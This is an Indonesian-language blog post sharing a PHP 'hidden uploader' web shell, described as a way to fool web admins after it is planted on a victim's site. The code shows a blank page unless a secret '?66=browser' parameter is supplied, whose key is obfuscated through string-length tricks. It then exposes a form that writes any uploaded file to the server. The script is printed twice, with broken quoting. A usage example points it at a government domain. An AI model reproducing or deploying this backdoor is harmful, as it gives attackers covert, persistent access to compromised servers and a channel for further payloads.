
Hy sobat
Kali ini saya mau menshare Script PHP Hidden Uploader.
Script ini bertujuan untuk menipu admin web setelah kita tanamkan uploadernya. Bila dibuka script ini akan blank atau kosong. Kuncinya adalah dengan menambahkan ?66=browser dibelakan url hidden uploadernya
Scriptnya:
<?php
if
(isset
(
$_REQUEST[$browser=$x=strlen("Chrome") . strlen("Mozila")]) &&
$_REQUEST[$x=strlen("Chrome") . strlen("Mozila")]=="browser")
{
echo "<h2></h2><hr>";
echo "<form action="" method="post" enctype="multipart/form-data">
<label for="file"></label>
<input type="file" name="file" id="file" />
<br /><br />
<input type="submit" name="default" value="Upload">
</form>";
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"" . $_FILES["file"]["name"]);
echo "Rand(100-100): " . "" . $_FILES["file"]["name"];
echo"<hr>";
}
}
?>
if
(isset
(
$_REQUEST[$browser=$x=strlen("Chrome") . strlen("Mozila")]) &&
$_REQUEST[$x=strlen("Chrome") . strlen("Mozila")]=="browser")
{
echo "<h2></h2><hr>";
echo "<form action="" method="post" enctype="multipart/form-data">
<label for="file"></label>
<input type="file" name="file" id="file" />
<br /><br />
<input type="submit" name="default" value="Upload">
</form>";
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"" . $_FILES["file"]["name"]);
echo "Rand(100-100): " . "" . $_FILES["file"]["name"];
echo"<hr>";
}
}
?>
Simpan Filenya dengan extensi .php
Setelah terupload ke web korban , tambahkan ?66=browser dibelakang url
Contoh:
http://presiden.go.id/hidden.php?66=browser
Sumber: RnpCyber
ConversionConversion EmoticonEmoticon